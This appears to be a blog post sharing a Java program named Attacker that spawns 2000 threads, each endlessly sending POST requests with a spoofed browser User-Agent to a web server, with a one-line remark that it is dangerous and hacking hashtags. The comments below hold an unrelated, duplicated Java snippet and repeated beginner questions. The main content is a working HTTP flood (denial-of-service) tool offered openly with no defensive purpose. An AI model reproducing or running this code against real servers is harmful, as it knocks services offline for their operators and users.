public class Attacker {
public static void main(String... args) throws Exception {
for (int i = 0; i < 2000; i++) {
DdosThread thread = new DdosThread();
thread.start();
}
}
public static class DdosThread extends Thread {
private AtomicBoolean running = new AtomicBoolean(true);
private final String request = "http://localhost:8080/mypath/index.htm";
private final URL url;
String param = null;
public DdosThread() throws Exception {
url = new URL(request);
param = "param1=" + URLEncoder.encode("87845", "UTF-8");
}
@Override
public void run() {
while (running.get()) {
try {
attack();
} catch (Exception e) {
}
}
}
public void attack() throws Exception {
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty("Host", "localhost");
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0");
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
connection.setRequestProperty("Content-Length", param);
System.out.println(this + " " + connection.getResponseCode());
connection.getInputStream();
}
}
}
This code snippet is dangerous as it creates 2000 threads each thread is making HTTP post request to the server with the legitimate HTTP header.
#ddos #attack #hacking #hacker #anonymous
#cesarnog
#ddos #attack #hacking #hacker #anonymous
#cesarnog
5 Responses
public class J {
public static void tang(int a[],int n)
{
int[] l = new int [100]; int lmax;
l[0]=1;
for(int i=1; i<n;i++)
{
lmax=0;
for(int j=0; j<i; j++)
if(a[i]>a[j])
{
if(l[j]>lmax)
lmax=l[j];
}
l[i]=lmax+1;
}
int temp=0;
for(int i =0; i <n; i++)
{
if(l[i]>temp)
temp=l[i];
}
System.out.println(temp);
}
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
int n=in.nextInt();
int[] a= new int [100];
for(int j=0; j<n; j++)
{
int m =in.nextInt();
for(int i =0; i <m; i++)
{
a[i]=in.nextInt();
}
tang(a,m);
}
}
}
public class J {
public static void tang(int a[],int n)
{
int[] l = new int [100]; int lmax;
l[0]=1;
for(int i=1; i<n;i++)
{
lmax=0;
for(int j=0; j<i; j++)
if(a[i]>a[j])
{
if(l[j]>lmax)
lmax=l[j];
}
l[i]=lmax+1;
}
int temp=0;
for(int i =0; i <n; i++)
{
if(l[i]>temp)
temp=l[i];
}
System.out.println(temp);
}
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
int n=in.nextInt();
int[] a= new int [100];
for(int j=0; j<n; j++)
{
int m =in.nextInt();
for(int i =0; i <m; i++)
{
a[i]=in.nextInt();
}
tang(a,m);
}
}
}
where do you write your code?
how do you know that is worked?
In general, how do you run any code?
What is the best text editor for Java?
where do you write your code?
how do you know that is worked?
In general, how do you run any code?
What is the best text editor for Java?
Write a comment
You can use [html][/html], [css][/css], [php][/php] and more to embed the code. Urls are automatically hyperlinked. Line breaks and paragraphs are automatically generated.